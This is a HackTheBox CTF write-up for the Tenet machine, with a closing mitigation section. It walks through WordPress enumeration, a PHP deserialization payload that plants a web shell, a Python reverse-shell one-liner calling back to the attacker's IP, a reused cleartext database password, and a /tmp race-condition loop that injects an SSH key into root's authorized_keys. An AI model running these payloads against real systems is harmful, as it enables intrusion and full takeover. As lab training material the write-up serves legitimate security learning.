Post

HackTheBox - Tenet


Description:

Tenet from HackTheBox has a php file running on the web server vulnerable to Insecure Deserialization which allowed us to write a web shell to the server and get a reverse shell. We find a clear text password on one of the config files and use it to ssh as user neil. The user is able to run a shell script as root which is vulnerable to a race condition, we exploit that to become root.

Enumeration

nmap

We start an Nmap scan using the following command: sudo nmap -sC -sV -T4 {target_IP}.

  • -sC: run all the default scripts.

  • -sV: Find the version of services running on the target.

  • -T4: Aggressive scan to provide faster results.

1
2
3
4
5
6
7
8
9
10
11
12
13
Nmap scan report for 10.10.10.223
Host is up (0.21s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 cc:ca:43:d4:4c:e7:4e:bf:26:f4:27:ea:b8:75:a8:f8 (RSA)
|   256 85:f3:ac:ba:1a:6a:03:59:e2:7e:86:47:e7:3e:3c:00 (ECDSA)
|_  256 e7:e9:9a:dd:c3:4a:2f:7a:e1:e0:5d:a2:b0:ca:44:a8 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We found two ports, 22 running ssh and 80 running an Apache web server.

Web

Let’s navigate to the web page.

page

It’s the Apache’s default page.

Feroxbuster

Let’s run a directory scan.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌──(sirius㉿kali)-[~/CTF/THM]
└─$ feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt -u http://10.10.10.223/ -n

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.10.1
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://10.10.10.223/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.10.1
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🚫  Do Not Recurse        │ true
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403      GET        9l       28w      278c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404      GET        9l       31w      275c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET       15l       74w     6147c http://10.10.10.223/icons/ubuntu-logo.png
200      GET      375l      964w    10918c http://10.10.10.223/
301      GET        9l       28w      312c http://10.10.10.223/wordpress => http://10.10.10.223/wordpress/

We found /wordpress, let’s check it out.

wordpress

The page is not loading correctly, maybe this is because their is a hostname.

hostname

We found the hostname tenet.htb, let’s add it to /etc/hosts file and update the page.

newpage

Just going to the website’s root it shows us the wordpress file.

WPScan

One famous scanner we can use to scan wordpress is wpscan.

Let’s enumerate for users and vulnerable plugins using the following command:

1
wpscan --url http://tenet.htb/ -e u,p 

The output is as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
_______________________________________________________________                                                                                                                                                                             
         __          _______   _____                                                                                                                                                                                                        
         \ \        / /  __ \ / ____|                                                                                                                                                                                                       
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®                                                                                                                                                                                      
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \                                                                                                                                                                                       
            \  /\  /  | |     ____) | (__| (_| | | | |                                                                                                                                                                                      
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|                                                                                                                                                                                      
                                                                                                                                                                                                                                            
         WordPress Security Scanner by the WPScan Team                                                                                                                                                                                      
                         Version 3.8.25                                                                                                                                                                                                     
       Sponsored by Automattic - https://automattic.com/                                                                                                                                                                                    
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart                                                                                                                                                                                      
_______________________________________________________________                                                                                                                                                                             
                                                                                                                                                                                                                                            
[+] URL: http://tenet.htb/ [10.10.10.223]                                                                                                                                                                                                   
[+] Started: Tue Dec 26 02:32:46 2023                                                                                                                                                                                                       
                                                                                                                                                                                                                                            
Interesting Finding(s):                                                                                                                                                                                                                     
                                                                                                                                                                                                                                            
[+] Headers                                                                                                                                                                                                                                 
 | Interesting Entry: Server: Apache/2.4.29 (Ubuntu)                                                                                                                                                                                        
 | Found By: Headers (Passive Detection)                                                                                                                                                                                                    
 | Confidence: 100%                                                                                                                                                                                                                         
                                                                                                                                                                                                                                            
[+] XML-RPC seems to be enabled: http://tenet.htb/xmlrpc.php                                                                                                                                                                                
 | Found By: Direct Access (Aggressive Detection)                                                                                                                                                                                           
 | Confidence: 100%                                                                                                                                                                                                                         
 | References:                                                                                                                                                                                                                              
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API                                                                                                                                                                                       
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/                                                                                                                                                     
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/                                                                                                                                                            
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/                                                                                                                                                      
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/                                                                                                                                                   
                                                                                                                                                                                                                                            
[+] WordPress readme found: http://tenet.htb/readme.html                                                                                                                                                                                    
 | Found By: Direct Access (Aggressive Detection)                                                                                                                                                                                           
 | Confidence: 100%                                                                                                                                                                                                                         
                                                                                                                                                                                                                                            
[+] Upload directory has listing enabled: http://tenet.htb/wp-content/uploads/                                                                                                                                                              
 | Found By: Direct Access (Aggressive Detection)                                                                                                                                                                                           
 | Confidence: 100%                                                                                                                                                                                                                         
                                                                                                                                                                                                                                            
[+] The external WP-Cron seems to be enabled: http://tenet.htb/wp-cron.php                                                                                                                                                                  
 | Found By: Direct Access (Aggressive Detection)                                                                                                                                                                                           
 | Confidence: 60%                                                                                                                                                                                                                          
 | References:                                                                                                                                                                                                                              
 |  - https://www.iplocation.net/defend-wordpress-from-ddos                                                                                                                                                                                 
 |  - https://github.com/wpscanteam/wpscan/issues/1299                                                                                                                                                                                      

[+] WordPress version 5.6 identified (Insecure, released on 2020-12-08).                                                                                                                                                                    
 | Found By: Rss Generator (Passive Detection)                                                                                                                                                                                              
 |  - http://tenet.htb/index.php/feed/, <generator>https://wordpress.org/?v=5.6</generator>                          
 |  - http://tenet.htb/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.6</generator>                 
                                                          
[+] WordPress theme in use: twentytwentyone                
 | Location: http://tenet.htb/wp-content/themes/twentytwentyone/                                                      
 | Last Updated: 2023-11-07T00:00:00.000Z                  
 | Readme: http://tenet.htb/wp-content/themes/twentytwentyone/readme.txt                                              
 | [!] The version is out of date, the latest version is 2.0                                                          
 | Style URL: http://tenet.htb/wp-content/themes/twentytwentyone/style.css?ver=1.0                                    
 | Style Name: Twenty Twenty-One                           
 | Style URI: https://wordpress.org/themes/twentytwentyone/                                                           
 | Description: Twenty Twenty-One is a blank canvas for your ideas and it makes the block editor your best brush. Wi...                                                                                                                     
 | Author: the WordPress team                              
 | Author URI: https://wordpress.org/                      
 |                                                         
 | Found By: Css Style In Homepage (Passive Detection)     
 |                                                         
 | Version: 1.0 (80% confidence)                           
 | Found By: Style (Passive Detection)                     
 |  - http://tenet.htb/wp-content/themes/twentytwentyone/style.css?ver=1.0, Match: 'Version: 1.0'                     

[+] Enumerating Vulnerable Plugins (via Passive Methods)   

[i] No plugins Found.                                      

[+] Enumerating Users (via Passive and Aggressive Methods) 
 Brute Forcing Author IDs - Time: 00:00:01 <=============================================================================================================================================================> (10 / 10) 100.00% Time: 00:00:01

[i] User(s) Identified:                                    

[+] protagonist                                            
 | Found By: Author Posts - Author Pattern (Passive Detection)                                                        
 | Confirmed By:                                           
 |  Rss Generator (Passive Detection)                      
 |  Wp Json Api (Aggressive Detection)                     
 |   - http://tenet.htb/index.php/wp-json/wp/v2/users/?per_page=100&page=1                                            
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)                                                   
 |  Login Error Messages (Aggressive Detection)            

[+] neil                                                   
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)                                          
 | Confirmed By: Login Error Messages (Aggressive Detection)                                                          

[!] No WPScan API Token given, as a result vulnerability data has not been output.                                    
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register                                                                 

No vulnerable plugins were found but there two users protagonist and neil.

Let’s go back to the web page and see if we can find any interesting information.

sator

On the Migration post we find a comment from neil talking about a php file called sator and some backup.

There might be a file on the server named sator.php. Searching for it on tenet.htb didn’t give us anything, but it worked on 10.10.10.223.

sator file

It shows us some text but we don’t know what it means.

Since neil also mentioned a backup, maybe there is a .bak file of sator.php. Searching for sator.php.bak downloads the file successfully.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

class DatabaseExport
{
        public $user_file = 'users.txt';
        public $data = '';

        public function update_db()
        {
                echo '[+] Grabbing users from text file <br>';
                $this-> data = 'Success';
        }


        public function __destruct()
        {
                file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
                echo '[] Database updated <br>';
        //      echo 'Gotta get this working properly...';
        }
}

$input = $_GET['arepo'] ?? '';
$databaseupdate = unserialize($input);

$app = new DatabaseExport;
$app -> update_db();


?>

This code seems to be using __destruct() function to create a file called users.txt and writing the value of data to it.

users

The file does exist with the content Success.

One interesting lines here are:

1
2
$input = $_GET['arepo'] ?? '';
$databaseupdate = unserialize($input);

The php file is expecting a GET parameter with the name arepo and passes the value to unserialize.

For more information about php deserialization check this video from IppSec

Foothold

To exploit this we need to generate a serialized object, the following php code does the job.

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

class DatabaseExport {

    public $user_file = "0xsirius.php";
    public $data = '<?php system($_GET["cmd"]); ?>';

}

$exploit = new DatabaseExport;
echo serialize($exploit);

?>

This will write a php web shell <?php system($_GET["cmd"]); ?> to the file 0xsirius.php and will allow us to run system commands.

Let’s execute the file with php exploit.php

1
2
3
$ php exploit.php 

O:14:"DatabaseExport":2:{s:9:"user_file";s:12:"0xsirius.php";s:4:"data";s:30:"<?php system($_GET["cmd"]); ?>";}

We submit the serialized object to arepo

http://10.10.10.223/sator.php?arepo=O:14:"DatabaseExport":2:{s:9:"user_file";s:12:"0xsirius.php";s:4:"data";s:30:"<?php system($_GET["cmd"]); ?>";}

deserialization

Now if we go to 10.10.10.223/0xsirius.php?cmd=id we should get command execution.

id

Now let’s get a reverse shell.

First we setup a listener with nc -lvnp 9001 and run the following command on the web shell:

1
export RHOST="10.10.16.4";export RPORT=9001;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'

shell

Privilege Escalation

www-data -> neil

Let’s check wp-config.php since it’s the one containing wordpress database credentials.

1
2
3
4
5
6
7
8
9
10
11
12
www-data@tenet:/var/www/html$ ls 
0xsirius.php  index.html  sator.php.bak  wordpress
hack.php      sator.php   users.txt
www-data@tenet:/var/www/html$ cd wordpress/
www-data@tenet:/var/www/html/wordpress$ grep 'DB' wp-config.php 
define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'neil' );
define( 'DB_PASSWORD', 'Opera2112' );
define( 'DB_HOST', 'localhost' );
define( 'DB_CHARSET', 'utf8mb4' );
define( 'DB_COLLATE', '' );
www-data@tenet:/var/www/html/wordpress$ 

We found neil’s password, let’s try ssh to him.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
$ ssh neil@tenet.htb     
The authenticity of host 'tenet.htb (10.10.10.223)' can't be established.
ED25519 key fingerprint is SHA256:atDC5N+fRDvKKwKE6Y6GZN4MdRAr5aHD24UsVrZ4+ts.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'tenet.htb' (ED25519) to the list of known hosts.
neil@tenet.htb's password: 
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-129-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue Dec 26 08:23:10 UTC 2023

  System load:  0.0                Processes:             176
  Usage of /:   15.5% of 22.51GB   Users logged in:       0
  Memory usage: 14%                IP address for ens160: 10.10.10.223
  Swap usage:   0%


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

53 packages can be updated.
31 of these updates are security updates.
To see these additional updates run: apt list --upgradable


Last login: Thu Dec 17 10:59:51 2020 from 10.10.14.3
neil@tenet:~$ id
uid=1001(neil) gid=1001(neil) groups=1001(neil)
neil@tenet:~$ 

neil -> root

Let’s check our privileges as neil.

1
2
3
4
5
6
neil@tenet:~$ sudo -l
Matching Defaults entries for neil on tenet:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:

User neil may run the following commands on tenet:
    (ALL : ALL) NOPASSWD: /usr/local/bin/enableSSH.sh

We can run the following bash script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#!/bin/bash

checkAdded() {

        sshName=$(/bin/echo $key | /usr/bin/cut -d " " -f 3)

        if [[ ! -z $(/bin/grep $sshName /root/.ssh/authorized_keys) ]]; then

                /bin/echo "Successfully added $sshName to authorized_keys file!"

        else

                /bin/echo "Error in adding $sshName to authorized_keys file!"

        fi

}

checkFile() {

        if [[ ! -s $1 ]] || [[ ! -f $1 ]]; then

                /bin/echo "Error in creating key file!"

                if [[ -f $1 ]]; then /bin/rm $1; fi

                exit 1

        fi

}

addKey() {

        tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX)

        (umask 110; touch $tmpName)

        /bin/echo $key >>$tmpName

        checkFile $tmpName

        /bin/cat $tmpName >>/root/.ssh/authorized_keys

        /bin/rm $tmpName

}

key="ssh-rsa AAAAA3NzaG1yc2GAAAAGAQAAAAAAAQG+AMU8OGdqbaPP/Ls7bXOa9jNlNzNOgXiQh6ih2WOhVgGjqr2449ZtsGvSruYibxN+MQLG59VkuLNU4NNiadGry0wT7zpALGg2Gl3A0bQnN13YkL3AA8TlU/ypAuocPVZWOVmNjGlftZG9AP656hL+c9RfqvNLVcvvQvhNNbAvzaGR2XOVOVfxt+AmVLGTlSqgRXi6/NyqdzG5Nkn9L/GZGa9hcwM8+4nT43N6N31lNhx4NeGabNx33b25lqermjA+RGWMvGN8siaGskvgaSbuzaMGV9N8umLp6lNo5fqSpiGN8MQSNsXa3xXG+kplLn2W+pbzbgwTNN/w0p+Urjbl root@ubuntu"
addKey
checkAdded

This script contains three functions:

The addKey functions creates a temporary file in /tmp that starts with ssh-, it then gives the file 110 permission using umask which is rw-rw-rw-. After that it writes the public key to the temporary file which is then used to add the key to authorized_keys

The checkFile function checks if the temporary file already exists in /tmp.

checkAdded checks if root’s public key is in authorized_keys file.

To exploit this we need to write a script that runs in a loop checking the /tmp for a file that starts with ssh-, if it finds it we tell it to write our public key to the file so it could then be added to root’s authorized_key file.

First we generate a pair of ssh keys using the following command:

1
ssh-keygen -f id_rsa

The content of .pub file is our public key.

The script to exploit this race condition is the following:

1
2
3
4
5
while true; do
    for file in /tmp/ssh-*; do
        echo "ssh-rsa AAAAB3N1Txxxxxxxxxxxxxxxxxxxxxx11pJx84kV sirius@kali" > $file
    done
done

Put your public key in the script and let’s get root.

We first run the script, get another session as neil and run the sudo command:

root

Since this is a race condition, we need to keep running the script until we get the error:

1
Error in adding root@ubuntu to authorized_keys file!

This indicates that our key have been successfully writen in the authorized_keys and we can proceed to connect as root.

Prevention and Mitigation

Neil

Neil revealed to much information like the name of the php file and the backup.

Sensitive information like that should be kept private between the developers and any conversation between them should take place in a safe space.

PHP unserialize

There is an insecure deserialization in sator.php because user input is submitted directly to the unserialize function.

Do not use unserialize() function with user-supplied input, use JSON functions instead.

sudo

The script we run as root writes ssh public key using mktemp with the -u arguments which is marked unsafe on the man page, it also used umask to make it writable by everyone.

The script could have been way simpler but since this is a CTF it is what it is. Removing write permission from the temporary file and place it in a safer place should prevent us from writing it.


Thank you for taking the time to read my write-up, I hope you have learned something from this. If you have any questions or comments, please feel free to reach out to me. See you in the next hack :).

References

https://redfoxsec.com/blog/insecure-deserialization-in-php/

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Insecure%20Deserialization/PHP.md

https://0xdf.gitlab.io/2021/06/12/htb-tenet.html

This post is licensed under CC BY 4.0 by the author.